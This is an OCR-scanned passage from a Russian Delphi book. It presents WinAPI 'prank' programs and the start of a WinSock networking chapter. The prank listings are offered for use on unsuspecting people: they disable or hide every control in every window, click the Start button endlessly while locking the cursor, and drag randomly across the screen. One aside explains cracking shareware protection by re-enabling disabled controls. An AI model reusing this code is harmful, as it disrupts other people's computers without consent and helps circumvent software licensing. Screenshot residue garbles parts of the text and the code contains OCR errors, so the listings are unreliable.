Но самое интерес- ное, что меню появилось на Рабочем столе (в самом верху) и даже у Панели задач. Как видите, установить меню достаточно просто. А вот заставить его работать — задача не из простых. В системе нет обработчиков событий для пунктов этого меню, а обработчики из нашей программы вызываться не будут. Аналогично можно изменять свойства окна. Для этого вызывается функция Get- WindowLong таким способом:
124 Глава 3. Шуточки •; •••••.•• ......... •••••: .•;•• ' | Frte Edfc 5wr<h View Select Run component CWsese 'fcrffe winrio* Help * > :J.‘ • /• • » ft grriAiaLh £? . |HaosFo<m Ptopetliw |ey«iU|' | А«й«<’ j2 % 4 Г4 f АЙй8кп(3 ' : E AnchoisS: ... .... S I' .^uttSdS j: Ам’^её;....... 3? JESir^iicotw ..ЙЧ....Й ^B^r^e.’-^S i Mesrt .3 |.LC?44.3..;ssy. .Lew . f' beiauSHonStot .:? DoriS'lte ••• ::-:::- ОгэдМсйё?? :- 'ё;.:: fnebied....- I3F<< _ ^•Fsfflwte ййй & ''<^3 I .A****65 ... ?..../ Н^«&.якТяр jbdlAft : 8 2SF 4mA tv*T •Fafse Щ iTii»- ITFwj F3View Вад 1 Result:“true; J end; i Result jend; гй THaosForm . ,..^....L ... "•function EnumWindowsProcl(h: hwnd; Iparam:Integer): BOOL; S jbegin : if IsWindowVisible(h) then SetMenufh, HaosForm.HaxnMenul.Handle); • :function EnumWindowsProcZ (h: hwnd; Iparam: Integer) .*•.. :begin | W:: if IsUindowVisible(h) then .♦-.J SetWindowLong (h, GWLJ5TYLE, GetWindowLong(h, GWLJ5TYLE) Result:“true; •end; *?:iprocedure THaosForm.bStartClick(Sender: TObject) i ibegin :1|Wt 03>f FSCopy FSNBV* ; 'Projects j Ach03\SetWrndow jO<wr*<?» i:|f^Si?eEc^r« 5$ 2 ' -<t-y 'V .< >&< ____________ ; -0- £ Cwi<m.M>dw b.0 ^. . . j > Delphi 7 •>Set*frdw \ |gi. четверг Рис. 3.11. Скриншот Delphi с новым меню GetWindowLong(h, GWL_STYLE, v GetWindowLong(h, GWL_STYLE) - WS_CAPTION); Функция GetWindowLong может изменять различные настройки окон. Функция имеет следующие параметры: • окно, параметры которого надо изменить; • тип свойства, которое надо изменить. Перечислим их: О GWL_EXSTYLE — расширенные свойства окон; О GWL STYLE — стандартные свойства окон; О GWL_WNDPROC — функция, обрабатывающая события окна; О GWL_HINSTANCE — модуль экземпляра приложения; О GWL_ID — идентификатор окна; О GWL_USERDATA — 32-битное значение, связанное с окном; • параметр, который надо установить. Указываемое значение зависит от второ- го параметра. В нашем случае в первом параметре указывается найденное окно. Второй пара- метр свидетельствует о том, что надо изменить стандартный стиль окна А вот в третьем параметре находится очень интересная конструкция:
3.9. Рабочий стол 125 SetWindowLong(h, GWL_STYLE) - WS_CAPTION Функция SetWindowLong изменяет указанное свойство окна. В первом параметре передается указатель на найденное окно, а во втором — тип интересующего свой- ства. Во втором параметре функции SetWindowLong можно указывать те же значе- ния, что и во втором параметре функции GetWindowLong. В данном случае мы получаем стандартные свойства окна и вычитаем из этих свойств заголовок (WS_CAPTION). В результате, если у окна был заголовок, мы его убираем. Конечно же, после выполнения этого кода заголовок может никуда не деться и остаться на месте, но реагировать на события пользователя точно не будет. \ ПРИМЕЧАНИЕ ---------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch03\SetWindow. ( 3.9. Рабочий стол Любимое занятие хакера — это подшутить над Рабочим столом Windows А под- шутить тут есть над чем. Сейчас мы изучим некоторые интересные приемы, с по- мощью которых можно неплохо развлечься. Создайте новый проект. Поместите на форму две кнопки. Имена оставьте по умол- чанию (Buttonl и Button2). По нажатии первой кнопки будем отображать на экра- не окно сообщения: procedure TForml.ButtonlCTick(Sender: TObject): begin ShowMessage(’Привет'): end: Зачем это нужно? Для наглядности примера, который мы сейчас будем рассмат- ривать. По нажатии второй кнопки пишем следующий код: procedure TForml.Button2C11ck(Sender: TObject): var h: HWND; begin h := GetDesktopWindowO; windows.SetParent(Buttonl.Handle. h): end: Здесь всего лишь две строки кода между операторами begin и end. В первой мы ищем окно Рабочего стола. Да, Рабочий стол — это именно окно, с которым мож- но работать с помощью функций Win API, как и с любым другим окном. Ну а са- мое главное, Рабочий стол может содержать практически любые элементы управ- ления.
126 Глава 3- Шуточки Во второй строке вызывается функция SetParent. Функции с таким именем есть в библиотеке VCL и в Windows API. Нам нужна вторая, поэтому перед именем функции ставим название модуля, в котором нужно искать функцию. Функции Win API находятся в модуле windows, поэтому для вызова используется конструк- ция wi ndows.SetParent. Функция SetParent изменяет главное окно для любого элемента управления. Эле- мент управления нужно указать в качестве первого параметра (мы указываем пер- вую кнопку), а указатель на окно передается во втором параметре (передаем ука- затель на окно Рабочего стола). После выполнения этой функции кнопка появится прямо на Рабочем столе, а на форме исчезнет (рис. 3.12). Рис. 3.12. Кнопка на Рабочем столе Теперь понятно, для чего мы делали обработчик события. Запустите программу и нажмите первую кнопку. Окно с сообщением будет показано. Но после перено- са кнопки на Рабочий стол нажатия кнопки не приведут ни к чему хорошему. Это значит, что на Рабочий стол переносится только кнопка, а обработчик события теряется. Несмотря на то что кнопка находится уже на Рабочем столе, связь между кноп- кой и нашей программой остается. Если закрыть программу, то кнопка исчезнет. Еще один недостаток — в Панели задач появляется новая кнопка, как для нашего приложения, но по нажатии которой активируется кнопка на Рабочем столе. По-
3.9. Рабочий стол 127 лучается, что кнопка стала как бы отдельным, практически независимым окном, несмотря на то что связь осталась. Усложним пример и посмотрим, как можно засыпать Рабочий стол своими кноп- ками (рис. 3.13). j SiuttonlOft | Buttan27: -:| . J MonSTJ Рис. 3.13. Экран, засыпанный кнопками Для этого установим на форме еще одну кнопку и по ее нажатии напишем код из листинга 3.9. Листинг 3.9. Засыпание Рабочего стола кнопками procedure TForml.Button3Click(Sender: TObject): var h: HWND: b: TButton: 1: Integer: begin h := GetDesktopWindowO: for 1 := 1 to 100 do begin b := TButton.Create(Owner): b.Parent := Forml; windows.SetParent(b.Handle, h): продолжение &
128 Глава 3. Шуточки Листинг 3.9 (продолжение) b.Left : = random(Screen.Width); b.Top := random(Screen.Height); b.Caption := 'Button’+IntToStr(i); end; end: В этом примере мы запускаем цикл из 100 шагов, в котором создаем кнопку, уста- навливаем ее размеры и помещаем на Рабочий стол. Обратите внимание, что пос- ле создания свойство Parent принимает значение Forml (наша главная форма). Если у элемента управления нет родительского окна, то невозможно изменять разме- ры или положение. Именно поэтому кнопка временно помещается на форму глав- ного окна, а потом переносится на Рабочий стол. ПРИМЕЧАНИЕ -------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch03\Desktop. 3.10. Панель задач Не менее интересным объектом для шуток может быть и Панель задач. Хакеры любят над ней шутить, потому что пользователи быстро реагируют на изменения в этой области. Панель задач — это тоже окно, поэтому на него можно помещать элементы управ- ления, как и на Рабочий стол. Код добавления кнопки на Рабочий стол из предыду- щего раздела 3.9 может быть адаптирован для Панели задач следующим образом: procedure TForml.Button2Click(Sender: TObject): var h: HWND: begin h := FindWindow('ShellJTrayWnd', nil); windows.SetParent(Buttonl.Handle. h); end; Окно Панели задач имеет класс Shell_TrayWnd. Чтобы найти такое окно, можно воспользоваться функцией FindWindow. Функция ищет окно по заданному классу (первый параметр) и заголовку (второй параметр). Если какой-то параметр не надо учитывать, то его оставляем нулевым. В данном случае у окна Панели задач нет заголовка, поэтому его не учитываем при поиске. Давайте создадим новый проект и рассмотрим некоторые приемы, которые отно- сятся именно к Панели задач. Для начала посмотрим, как можно установить меню. Мы уже устанавливали меню на все окна подряд, но если нужно затронуть только Панель задач, воспользуй- тесь следующим кодом: procedure TForml.ButtonlClick(Sender: TObject): var
3.10. Панель задач 129 h: HWND; begin h := FindWindow( 'Shell JTrayWnd', nil); SetMenu(h, MainMenul.Handle); end; Для компиляции и выполнения кода на форму нужно поместить компонент TMain- Menu и создать в нем несколько произвольных пунктов меню. Обработчики созда- вать не имеет смысла, потому что в Панели задач они обрабатываться не будут. Меню также не будет видно в Windows ХР/2003, если используются темы. Если выбран классический стиль Windows 9х/2000, то меню будет видно (рис. 3.14). Donate ле Гтр₽ник: %. Я® Рис. 3.14. Панель задач с меню Ничего особо полезного из этого примера не сделаешь, но пользователи пугаются всего нового, особенно если в меню будут необычные названия пунктов. Шок обеспечен, а это «по-нашему». В отличие от Рабочего стола, который всегда занимает полный экран, Панель за- дач имеет ярко выраженные границы и ее окно можно перемещать на экране. Именно поэтому характеристики окна изменяются программно по своему усмот- рению. Но поменять размер — это слишком просто и неинтересно. Намного луч- ше будет изменить форму окна. Добавим на нашу форму кнопку. По нажатии этой кнопки (событие OnClick) на- пишем следующий код: procedure TForml.bEllipceClick(Sender: TObject); var EllipseRgn: HRGN; h: HWND; begin EllipseRgn := CreateEllipticRgnd, 1. Screen.Width, 200); h := FindWindowC'Shell JTrayWnd'. nil): SetWindowRgn(h, El 1i pseRgn,True); end; Такая запись изменяет форму Панели задач на овальную (рис. 3.15). В обработчике объявлены две переменные: • El 11 pseRgn — для хранения формы (региона) окна; • h — указатель на окно Панели задач. Для создания овальной формы окна используется функция CreateEl 1 ipticRgn, у ко- торой имеется четыре параметра. Сначала задается прямоугольник, затем в него вписывается овал. После этих действий ищем окно Панели задач и назначаем для 5 Зак. 308
130 Глава 3. Шуточки него овальную форму. Для задания формы используется функция SetWindowRgn, имеющая три параметра: • hWnd — окно, для которого указывается форма; • hRgn — форма (регион); • bRedraw — если этот параметр имеет значение true, то ОС перерисовывает окно сразу после изменения формы. Пользы от этого примера не много, потому что с овальной Панелью задач неудоб- но работать, но в шуточной программе эту возможность очень удобно использо- вать. Давайте добавим на форму нашего примера еще одну кнопку и по ее нажа- тии (обработчик события OnCl ick) напишем код из листинга 3.10. Листинг 3.10. Анимация формы Панели задач procedure TForml.bAnimTaskBarClickCSender: TObject); var EllipseRgn: HRGN; h: HWND; index. iAdd; Integer; begin h := FindWindow('Shell-TrayWnd'. nil); index := 1; iAdd := 1; while true do begin // Установка новой формы (региона) EllipseRgn : = CreateEl1ipticRgn(index. 1, Screen.Width-index. 200); SetWindowRgn(h. EllipseRgn.True); Index := index+iAdd; // Изменяем приращение if index > 200 then iAdd ;= -1; if index < 0 then iAdd := 1; end; end; I
3.10. Панель задач 131 В этом примере запускается бесконечный цикл (while true do), внутри которого меняется форма Панели задач на овальную. Форма овала постепенно то увеличи- вается, то уменьшается, создавая анимацию. Во время моих исследований Панели задач я заметил еще один интересный эф- фект. Допустим, что панель расположена, как принято по умолчанию, внизу. Те- перь если ее расширять вверх, то она будет заполнять всю нижнюю область. Но если придать Панели задач прямоугольную форму с небольшим значением высо- ты, то эффект растягивания исчезнет. Реализуем вышесказанное на примере. Добавим новую кнопку на форму нашего проекта и по ее нажатии запишем следующий код: procedure TForml.bRectClick(Sender: TObject): var EllipseRgn: HRGN: h: HWND: begin EllipseRgn := CreateRectRgnQ, 1. Screen.Width, 50): h := FindWindow(’Shell_TrayWnd’, nil): SetWindowRgn(h, EllipseRgn,True); end: ga'rtu Правка 0ид Встдвка Формат gpBiic 1а6пица Qkho ^правка Adofee PDF Acrobat Comments hr— _______4 j t\ EllipseRgn;HRGN; j h:.HWND; ibegin ; EllipseRgn:-CreateRectRgn(l,1, Screen.Width, 50); О У ?♦'! . h:- FindWindow(•Shell TrayWnd', niX); ; SetWindowRgn(h,EllipseRgn,True); Рис. 3.16. Панель задач, оторванная от нижней части экрана
132 Глава 3. Шуточки Код схож с тем, что мы использовали при назначении Пйнели задач овальной формы, только здесь создается прямоугольная форма с помощью функции Create- RectRgn. Для задания высоты формы взято значение в 50 пикселов и теперь па- нель никак не сможет быть больше указанного значения. Получается, что Панель задач как бы оторвана от нижней части экрана (рис. 3.16). ПРИМЕЧАНИЕ ---------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch03\TaskBar. 3.11. Шутки над мышью В книге «Программирование Delphi глазами хакера» я описывал несколько спо- собов подшутить над мышью и по письмам понял, что многих интересует, как можно кликнуть в произвольной области экрана. Почему-то это вызывает про- блемы, хотя ничего сложного нет. Давайте разберем, как можно нажать кнопку Пуск (листинг 3.11). Листинг 3.11. Нажатие кнопки Пуск procedure TForml.bStartCl1ckerClick(Sender: TObject); var pPoint: TPoint; hPointWnd: HWnd; begin pPoint.X : = 15; pPoint.Y := Screen.Height-20; SetCursorPos(pPoint.X, pPoint.Y); hPointWnd ;= WindowFromPoint(pPoint); SendMessage(hPointWnd. WM_LBUTTONDOWN, MK_LBUTTON, MAKELONGd. D); SendMessage(hPointWnd. WMJ.BUTTONUP. 0. MAKELONGd. 1)); end; Для указания точки, в которой будет происходить щелчок, используем перемен- ную pPoint типа TPoint. Этот тип очень удобен для хранения координат точки, потому что структура TPoint состоит из двух полей X и Y, имеющих целочислен- ный тип (Longint). Для координаты X укажем значение в 15 пикселов, а коорди- нату Y сделаем равной высоте экрана минус 20 пикселов. Где-то в этой области должна находится кнопка Пуск. Такой подход не совсем точный, потому что панель может быть расширена или просто не вытянута вдоль нижней части экрана. Более правильным будет найти окно кнопки Пуск и определить его координаты, но в примере нам достаточно и такого решения, ведь наша цель — научиться щелкать мышью в произвольной части экрана. После задания координат переносим в указанную точку курсор с помощью функ- ции SetCursorPos. Для наглядности поместим курсор в то место, где будем щел-
3.11. Шутки над мышью 133 кать мышью. У функции SetCursorPos два параметра — координаты точки X и Y, в которую должен переместиться курсор. Теперь определяем окно, расположенное для точки, в которой будем щелкать мышью. Для этого есть функция WindowFromPoint. Ей нужно передать структуру типа Tpoint. В результате получается указатель на окно, которое расположено в этой точке. Определив окно, в котором нужно произвести клик, посылаем ему сообщение о том, что левая кнопка мыши нажата и отпущена в заданной точке: SendMessage(hPoi ntWnd. WM_LBUTTONDOWN. MK_LBUTTON. MAKELONG(1, D): SendMessageChPointWnd, WM_LBUTTONUP, 0, MAKELONGd, D): В первой строке окну hPointWnd (в котором нужно щелкнуть мышью) посылается сообщение WM_LBUTTONDOWN (левая кнопка мыши нажата). Позиция, в которой про- изошел щелчок, указывается в качестве последнего параметра в виде длинного числа. Чтобы передать в этом параметре координаты (170, 204) можно восполь- зоваться макросом MAKELONG(170, 204). Обращаю ваше внимание, что это коорди- наты относительно окна, которому посылаются сообщения (hPointWnd), а не всего экрана. Во второй строке посылаем такое же сообщение, но во втором параметре переда- ем событие WM_LBUTTONUP (левая кнопка мыши отпущена). Таким образом, мы по- сылаем события нажатия и отпускания мыши или щелчка в указанной точке. Чтобы превратить пример в «проказу», можно поместить код процедуры в беско- нечный цикл (whi 1 е true do). Таким образом, будут происходить постоянные щелч- ки кнопки Пуск и работа за компьютером станет затруднительной. Так как мы пе- редвигаем курсор мыши в точку, на которой будет происходить щелчок, то после любой попытки поменять положение курсора, код возвратит его обратно и дви- жения курсором станут невозможными. Если вы решили сделать бесконечный цикл, то между нажатиями или щелчками советую сделать задержку с помощью функции WaitForSi ngl eObject (листинг 3.12). Листинг 3.12. Бесконечное нажатие кнопки Пуск с перерывами в 1 секунду var pPoint: TPoint; hPointWnd: HWnd: h: THandle; begin pPoint.X := 15: pPoint.Y := Screen.Height-20: // Создаем пустое событие для реализации задержки h := CreateEventCnil, true, false, nil): while true do begin продолжение &
134 Глава 3. Шуточки Листинг 3.12 (продолжение) // Устанавливаем курсор SetCursorPos(pPoint.X. pPoint.Y): // Отправляем окно hPointWnd := WindowFromPoint(pPoint); // Отправляем сообщения о нажатии и отпускании кнопки SendMessage(hPointWnd. WM_LBUTTONDOWN. MK_LBUTTON. MAKELONGd. 1)); SendMessage(hPointWnd. WM_LBUTTONUP, 0. MAKELONGCO. 0)); // Задержка в 1 секунду WaitForSingleObject(h. 1000): end: end: Давайте видоизменим пример. Теперь будет происходить беспорядочное нажа- тие в любом месте экрана (листинг 3.13). Листинг 3.13. Беспорядочное нажатие в любой области экрана procedure TForml.bClickerClick(Sender: TObject): var i: Integer: pPoint: TPoint: hPointWnd: HWnd: h: THandle: ( begin // Создаем пустое событие для реализации задержки h := CreateEvent(nil. true, false, nil): for i := 0 to 20 do begin // Перемещаем курсор мыши в случайное место pPoint.X :я random(Screen.Width): pPoint.Y := random(Screen.Height): SetCursorPosCpPoint.X. pPoint.Y): // Задержка в 1 секунду WaitForSingleObject(h. 1000): // Определяем окно hPointWnd := WindowFromPoint(pPoint): // Посылаем ему сообщение о нажатой кнопке SendMessage(hPointWnd. WM_LBUTTONDOWN. MK_LBUTTON. MAKELONG(0. 0)): // Посылаем ему сообщение об отпущенной кнопке SendMessage(hPointWnd. WMJBUTTONUP. 0. MAKELONGCO. 0)): end: end:
3.11. Шутки над мышью 135 Этот пример отличается от листинга 3.12 только тем, что позиции для щелчка выбираются случайным образом. Но и это еще не все. Ведь можно нажать кнопку в одном месте, а отпустить в дру- гом. В этом случае возникнет эффект выделения или перетаскивания, все зависит от того, в какое место попадет курсор мыши. Если в момент выполнения програм- мы на экране будет находиться текстовый редактор, то текст будет беспорядочно выделяться, а если чистый Рабочий стол, то появится вероятность перемешивания значков. Реализация вышесказанного приведена в листинге 3.14. Листинг 3.14. Беспорядочное перетаскивание procedure TForml.bDraggerClickCSender: TObject); var i; Integer; pPoint; TPoint; hPointWnd; HWnd; begin for i := 0 to 20 do begin // Перемещаем курсор мыши в случайное место pPoint.X ;= random(Screen.Width); pPoint.Y ;= random(Screen.Height); SetCursorPos(pPoint.X, pPoint.Y); Sleep(lOO); // Определяем окно hPointWnd ;= WindowFromPoint(pPoint); // Посылаем ему сообщение о нажатой кнопке SendMessageChPointWnd. WM_LBUTTONDOWN. MK_LBUTTON. MAKELONGCO. 0)); // Перемещаем курсор мыши в случайное место pPoint.X ; = random(Screen.Width). pPoint.Y ;= random(Screen.Height); SetCursorPos(pPoint.X, pPoint.Y); Sleep(lOO); // Определяем окно hPointWnd ;= WindowFromPoint(pPoint); // Посылаем ему сообщение об отпущенной кнопке SendMessage(hPointWnd. WM_LBUTTONUP, 0. MAKELONGCO. 0)); end;. end; ПРИМЕЧАНИЕ ---------------------<------------------------------------------------ Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch03\Mouse.
136 Глава 3. Шуточки 3.12. Блокировка окон Мы уже разобрали несколько интересных шуток, использующих перебор всех окон на Рабочем столе, а сейчас увидим, как можно подшутить с помощью пере- бора элементов на всех видимых окнах. Давайте найдем все элементы управле- ния на окнах и сделаем их недоступными или просто спрячем. Создайте новое приложение и поместите на форму одну кнопку. По ее нажатии запишем вызов функции EnumWindows: procedure TClearWindowForm.ButtonlClick(Sender: TObject); begin EnumWindows(@EnumWindowsProc, 0); end: Это знакомый нам запуск перебора всех окон. Для каждого найденного окна бу- дет вызываться функция EnumWindowsProc, которая выглядит следующим образом: function EnumWindowsProc(h: hwnd; Iparam; Integer); BOOL; stdcall; begin if IsWindowVisible(h) then EnumChildWindows(h, @EnumChildWindowsProc, Iparam); Result := true; end; В этой функции происходит проверка, если окно видимо, то запускается перебор дочерних окон с помощью функции EnumChi IdWindows, имеющей следующие пара- метры: • окно, внутри которого надо искать; • функция, которая будет вызываться для каждого найденного элемента управ- ления; • произвольный параметр. Функция EnumChi IdWindowsProc выглядит следующим образом: function EnumChildWindowsProc(h: hwnd; Iparam; Integer): BOOL; stdcall; begin EnableWindow(h. false); Result := true; end: Эта функция вызывается каждый раз, когда найден новый элемент управления внутри указанного окна. Здесь мы вызываем только EnableWindow, чтобы сделать элемент управления недоступным. После запуска этого примера все становится недоступным и работают только горячие клавиши. Мне пришлось достаточно долго мучиться, чтобы сделать скриншот результата, и все же после нескольких попыток это получилось (рис. 3.17).
3.12. Блокировка окон 137 Как видите, все окрашено в серый цвет и на события реагируют только окна (их можно перемещать и закрывать), а элементы управления отключены. Как мы уже выяснили, Панель задач и Рабочий стол — это тоже отключенные окна, поэтому запустить какую-либо программу практически невозможно. Некоторые программисты программ shareware в незарегистрированной версии от- ключают отдельные элементы управления и включают после регистрации. Это их самая большая ошибка, потому что код остается, просто он недоступен из-за от- ключения элементов. Измените в нашей программе в вызове функции EnableWindow второй параметр на true, тогда все элементы управления запущенных программ ста- нут доступными и защита программы shareware будет взломана. Если заменить вызов функции EnableWindow на ShowWindow(h, SW_HIDE), то все эле- менты управления исчезнут. Окна будут существовать и работать, но они будут пустыми (рис. 3.18). Этот пример можно модифицировать следующим образом — поместить перебор окон в бесконечный цикл, а в функции EnumChi IdWindowsProc написать следующий код: function EnumChildW1ndowsProc(h: hwnd: Iparam: Integer): BOOL: stdcall: begin // Если случайное число меньше пяти, то прячем элемент // иначе отображаем
138 Глава 3. Шуточки Рис. 3.18. Пустые окна If random(lO) < 5 then ShowWindow(h. SWJIIDE) else ShowW1ndow(h, SW_SHOW) Result := true; end; Теперь элементы управления будут то появляться, то исчезать, создавая «свето- музыку» на Рабочем столе. ПРИМЕЧАНИЕ -------—..................................................... ...... Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch03\ClearWindow.
Глава 4 Сетевые приложения Когда создавался Windows 3.1, корпорация Microsoft незаслуженно обошла под- держку сети стороной, и ОС работала только в локальном режиме. А ведь все бли- жайшие конкуренты (системы Unix) включали мощные средства для работы в сети. Впоследствии руководство компании поняло свою ошибку, и в срочном порядке была выпущена версия Windows 3.11 for Workgroups, в которой появились первые средства коллективной работы и обмена документами по локальной сети. С выходом Windows 95 количество сетевых приложений увеличилось в несколь- ко раз. Улучшились удобство и функциональность пребывания в сети. Сейчас большинство даже домашних компьютеров немыслимы без сетевой карты, не го- воря уже об офисных. Любому пользователю необходим обмен файлами и документами с друзьями, и намного удобней применять для этих целей только один кабель. Обмен данными осуществляется почти в каждой программе, но иногда использу- ются уже готовые решения (открытые сетевые ресурсы), а в некоторых нужно писать собственные клиент-серверные решения. Сказать однозначно, когда и что надо использовать, сложно, но главным критерием для вас должно служить удоб- ство использования. Пользователь, как и клиент, всегда прав. Программисты — это исполнители, кото- рые должны реализовывать потребности пользователя. Открытые ресурсы програм- мировать не надо, потому что их поддержка реализована на уровне ОС, но если пользователю это будет неудобно, то мы обязаны будем написать более простое и удобное решение. В данном случае приходится использовать сетевые функции ОС Windows и создавать что-то свое, более подходящее пользователю. Программисты, которые считают пользователей своих программ глупыми, никог- да не станут хакерами. Вы должны беречь каждого клиента, потому что именно они приносят вам деньги.
140 Глава 4. Сетевые приложения Для понимания излагаемого в этой главе материала желательно знать о сетевых протоколах и сетевой модели OSI. Я еще раз рекомендую вам сначала прочитать мою книгу «Программирование в Delphi глазами хакера», в которой описаны ос- новы сетей и множество полезных для хакера примеров. Здесь же будет более подробно рассматриваться низкоуровневое программирование, которое позволит добиться большей гибкости и максимальной производительности сетевого при- ложения. Я также рекомендую прочитать книги Стивенса «Протоколы TCP/IP — прак- тическое руководство» или «TCP/IP для профессионалов». Эти книги позво- лят вам более глубоко окунуться в мир протоколов TCP и понять их внутрен- нюю «жизнь». 4.1. Основы WinSock С помощью стандартных компонентов, предоставляемых оболочкой Delphi, легко написать простое сетевое приложение. При этом вы сильно ограничены в исполь- зовании той технологии, которая была заложена в компонент. Программирование с использованием только WinSock-функций позволяет добиться максимальной гибкости и производительности, но отнимает больше времени и, конечно же, явля- ется более сложным. Если вы не собираетесь писать программы только с использованием Win API, то даже для эффективного использования стандартных решений желательно по- нимать принципы работы сетевых протоколов и библиотеки WinSock. Я буду подразумевать, что с протоколами вы уже знакомы. Давайте разберемся с функ- циями, которые предоставляет нам WinSock. Существует несколько версий этой библиотеки. Начиная с Windows 98 в ОС уже встроена 2-я версия. Если вы обладатель Windows 95, то для работы нужно «ска- чать» новую версию с сайта www.microsoft.com или скопировать с компакт-диска из каталога Program. Библиотека WinSock обратно совместима. Это значит, что старые функции не изменились и программы, написанные для первой версии, будут прекрасно ра- ботать во второй. Работа старых программ будет происходить корректно, пото- му что функции не изменились, а главное, не изменилось количество парамет- ров и их тип. Вместо этого Microsoft добавила новые, более мощные функции, имена которых начинаются с WSA. Впервые функции с такими именами появи- лись в версии 1.1, и это были WSAStartup, WSACleanup, WSAGetLastError, WSARecvEx. В следующей версии начали применяться другие варианты функций для при- ема/передачи данных. Имея в наличии вторую версию WinSock, не обязательно ее использовать. По- смотрите, может быть, возможностей первой версии будет достаточно, и тогда ваша программа будет работать на всех платформах. При этом код легко можно будет перенести даже на платформу Unix. Конечно же, компьютеры, с установ- ленной на них Windows 95, встретить уже достаточно сложно, но они существу- ют. Я иногда общаюсь с иностранными пользователями, когда у них возникают
4.2. Обработка сетевых ошибок 141 проблемы с моими программами именно в этой ОС Windows 95 установлена в ос- новном на старых компьютерах, на которых новые версии не работают, а выбра- сывать железный «хлам» жалко. При необходимости применения возможностей, которые добавлены во второй версии WinSock, пользователям старых компьютеров нужно обновлять библио- теку. Если в вашей программе применяются функции второй версии WinSock, то при- дется загружать именно эту версию. При этом я рекомендую включить в програм- му установки возможность обновления сетевой библиотеки Windows. В отличие от Visual C++, где есть два заголовочных файла для разных версий (WinSock.h для первой версии и WinSock2.h для второй версии), в Delphi имеется только один модуль WinSock, который описывает все функции сетевой библио- теки версий 1 и 1.1. Если вам нужны функции только WinSock 1, то нужно при- менять специальный модуль. Для этого поместите его в каталог с исходным ко- дом вашей программы, и оболочка будет использовать именно этот файл, а не системный. Заголовочный файл, который поставляется с Delphi, сформирован не очень удач- но. Чтобы получить доступ ко всем функциям WinSock 2, нужно использовать до- бавочный файл. Я рекомендую взять WinSock2.pas из каталога Additional\WinSock 2 на компакт-диске к данной книге. Первая версия WinSock разрабатывалась на основе модели сокетов Беркли, ис- пользуемой в системах Unix. Названия функций, количество параметров и их тип были одинаковыми (имелись только небольшие отличия). Таким образом, если написать на языке С код, работающий с сетями, то возможно перенести его с ми- нимальными изменениями в систему Unix и откомпилировать любым Unix-no- добным компилятором языка С. В более поздних версиях библиотеки Microsoft стала добавлять свои дополни- тельные функции для упрощения жизни программистов и повышения произво- дительности на платформе Windows. Это достигалось путем использования спе- цифичных для Windows технологий (такие, как события). Данные функции не совместимы с сетевыми функциями на других платформах, и такой код перенес- ти намного сложнее. В последнее время у Delphi тоже появился компилятор для ОС Linux, который может компилировать программы, написанные на Delphi под Windows. Если вы будете использовать функции только WinSock 1, то перенос будет простым. С при- менением функций второй версии библиотеки, специфичных для платформы Win- dows, перенос программы в Kylix вызовет проблемы. Давайте подробно рассмотрим, как устроена сетевая библиотека Windows и как с ней работать. 4.2. Обработка сетевых ошибок Сначала нам надо узнать, как можно определить ошибки, которые возникают при вызове сетевых функций. Правильная обработка ошибок для любого приложе-
142 Глава 4. Сетевые приложения ния является самым важным, потому что это повышает надежность программы и меняет отношение пользователей к вам или вашей фирме. Мы об этом уже го- ворили достаточно подробно, а сейчас изучим тему надежности программирова- ния сетевой библиотеки. Хотя сетевые функции не могут сделать ничего крити- ческого для ОС, они могут повлиять на неправильный ход работы программы, что в свою очередь, может привести даже к краху системы. Из-за неправильно на- писанной обработки ошибок я видел даже крах Windows ХР, которая достаточно устойчива к сбоям. Самое главное: при нарушении хода выполнения программы появляется вероят- ность снижения надежности системы и появления «лазеек» для взломщиков,, что приведет к взлому системы по сети. Чтобы этого не произошло, нужно проверять выполнение функций на ошибки и реагировать на них соответствующим обра- зом. Данная задача не такая простая, и нельзя обойтись только блоком try...except. Сетевые приложения обмениваются данными со сторонними компьютерами, а это значит, что клиентом может выступить злоумышленник, который отправит нам заведомо неправильные данные с целью нарушить работоспособность удаленной системы. Если не обработать ошибку, то взломщик получит доступ к тем данным или функциям, которые не должны быть доступны для него. Рассмотрим простейший пример. У вас есть функция, которая вызывается каж- дый раз, когда программе пришли данные. Если пользователь прислал какие-то запросы, то они проверяются на корректность и права доступа к определенным данным. Если данные получены правильно, то функция выполняет критический код, который не должен быть доступен злоумышленнику. Злоумышленник мо- жет отправить запросы, нарушающие работу получения данных или проверки корректности. Именно из-за такой ошибки хакер может проникнуть в вашу си- стему и получить доступ к закрытой информации. Проверка должна происходить на каждом этапе выполнения сетевых функций, отслеживания их корректности и доступности. Помните, что это придаст вашей программе не только стабильность, но и надежность и безойасность всей системы в Целом. Если во время выполнения какой-то сетевой функции произошла ошибка, то боль- шинство из них вернет константу SOCKET ERROR или значение -1. При получении такого значения можно применить функцию WSAGetLastError. Ей не надо переда- вать параметры, потому что функция возвращает код ошибки, происшедшей во время выполнения последней сетевой операции. Кодов ошибок очень много, и они могут зависеть от функции, которая отработала последней. 5 дальнейшем мы бу- дем рассматривать их по мере необходимости. Не оставляйте проверку ошибок на потом. Узнать причину ошибки с помощью WSAGetLastError можно только для последней выполненной операции. Наиболее критичными для обработки являются функции получения данных, при- шедших по сети. Всегда проверяйте размер данных и выделяйте достаточно па- мяти для сохранения полученных пакетов. Переполнение буфера — наиболее рас- пространенная ошибка программиста, которой пользуются хакеры.
4.3. Загрузка и выгрузка сетевой библиотеки 143 Вы можете заведомо предположить, что пакеты, приходящие по сети, будут иметь размер в 4 Кбайт, и выделить соответствующий блок памяти. Это может быть вер- ным только при корректной работе. Если хакер отправит вам 100 Кбайт, а вы по- пытаетесь записать эти данные в буфер из 4 Кбайт, то это может привести к кра- ху. Как это происходит? Посмотрим на следующую структуру программы: • код программы; • область памяти размером в 20 Кбайт; • код программы. Допустим, что наш буфер из 4 Кбайт находится внутри области памяти из 20 Кбайт. Помимо буфера в этой области хранятся еще какие-то переменные. Когда мы запи- сываем в свой буфер 100 Кбайт, то происходит перекрытие, а данные выходят за пределы области допустимой памяти и перезаписывают код программы. Таким об- разом, вместо корректного кода программы будет бесполезный «мусор», а может быть даже зловредный код. Посмотрим на следующую структуру программы: • корректный код программы; • область памяти размером в 20 Кбайт; • как минимум 80 Кбайт кода будет «затерто»; • корректный код программы. В область размером 80 Кбайт может попасть зловредный код с разрушительными действиями. Ваша программа попытается выполнить этот код, что может 